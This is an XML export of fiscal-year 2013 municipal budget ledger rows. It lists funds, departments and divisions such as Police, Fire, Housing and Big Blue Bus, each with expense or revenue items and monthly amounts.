<row _id="2475"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4033.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>40</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4073.0</total></row>
<row _id="2476"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="2477"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="2478"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>555990.0</object><object_description>PARKING AGREEMENT W / MACERICH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2517214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-467214</february><march>0.0</march><april>-2050000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2479"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-2625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2625.0</total></row>
<row _id="2480"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-13339.0</july><august>0</august><september>0.0</september><october>365.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>232</april><may>0</may><june>0.0</june><total>-12742.0</total></row>
<row _id="2481"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-8364.0</july><august>0</august><september>0.0</september><october>628.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-7736.0</total></row>
<row _id="2482"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-9937.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-9937.0</total></row>
<row _id="2483"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-12990.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-12990.0</total></row>
<row _id="2484"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-5580</april><may>0</may><june>0.0</june><total>-5580.0</total></row>
<row _id="2485"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1451.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1451.0</total></row>
<row _id="2486"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-31672.0</july><august>0</august><september>0.0</september><october>502.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-31170.0</total></row>
<row _id="2487"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-5156.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5156.0</total></row>
<row _id="2488"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-5168.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>848</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4320.0</total></row>
<row _id="2489"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-13166.0</july><august>-864</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14030.0</total></row>
<row _id="2490"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409004.0</object><object_description>CHILDCARE-DECEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-35467.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35467.0</total></row>
<row _id="2491"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409007.0</object><object_description>CHILDCARE-MARCH</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-31130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-31130.0</total></row>
<row _id="2492"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409008.0</object><object_description>CHILDCARE-APRIL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-31130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-31130.0</total></row>
<row _id="2493"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409022.0</object><object_description>ENRICHMENT-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-103983.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-103983.0</total></row>
<row _id="2494"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409033.0</object><object_description>CAMP SM-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-39819.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-39819.0</total></row>
<row _id="2495"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409061.0</object><object_description>SMSE-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-3640.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3640.0</total></row>
<row _id="2496"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="2497"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8690.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8690.0</total></row>
<row _id="2498"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>22</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2222.0</total></row>
<row _id="2499"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>150.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>150.0</total></row>
<row _id="2500"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>115.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115.0</total></row>
<row _id="2501"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2657.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2657.0</total></row>
<row _id="2502"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1458.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>15</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1473.0</total></row>
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<row _id="2528"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>778681.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>778681.0</total></row>
<row _id="2529"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>768.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>768.0</total></row>
<row _id="2530"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400881.0</object><object_description>SPC HAP SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-67092.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-67092.0</total></row>
<row _id="2531"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>8205</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8205.0</total></row>
<row _id="2532"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14709.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>147</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14856.0</total></row>
<row _id="2533"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1348.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1348.0</total></row>
<row _id="2534"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>158927.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>158927.0</total></row>
<row _id="2535"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1300.0</total></row>
<row _id="2536"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="2537"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1150.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="2538"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="2539"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12835.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12835.0</total></row>
<row _id="2540"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>407180.0</object><object_description>VALET LICENSING FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>75000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2541"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-TMP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-2046536.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>2046536</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2542"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407210.0</object><object_description>EVENT PERMIT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2543"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-651946.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-6519</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-658465.0</total></row>
<row _id="2544"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401590.0</object><object_description>PLANNING PRESUBMITTAL REVIEW</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-3050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3050.0</total></row>
<row _id="2545"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1738.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
